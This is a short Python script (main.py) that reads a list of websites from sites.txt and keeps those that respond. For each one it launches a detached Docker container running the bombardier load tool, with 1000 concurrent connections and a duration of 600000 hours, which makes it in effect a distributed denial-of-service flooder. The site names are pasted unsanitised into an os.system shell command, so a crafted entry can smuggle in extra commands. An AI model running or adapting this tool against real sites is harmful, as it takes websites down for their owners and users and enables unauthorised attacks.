main.py
import asyncio
from os import system
import aiohttp
with open('sites.txt', 'r') as file:
websites_to_test = [site for site in file.readlines()]
async def test_website(websites, url):
async with aiohttp.ClientSession() as session:
try:
async with session.get(url) as resp:
if resp.status == 200:
print(f'Added {url}')
websites.append(url)
else:
print(f'{url} is not Reachable! Status: {resp.status}')
except Exception as er:
print(f'Error: {er}')
async def main():
websites = []
coroutines = []
for url in websites_to_test:
coroutines.append(test_website(websites, url.strip()))
await asyncio.gather(*coroutines)
cmd = ' && '.join([
f'docker run -d --rm alpine/bombardier -c 1000 -d 600000h -l {site}'
for site in websites
])
print(f'Command to run: ' + cmd)
print(system(cmd))
asyncio.run(main())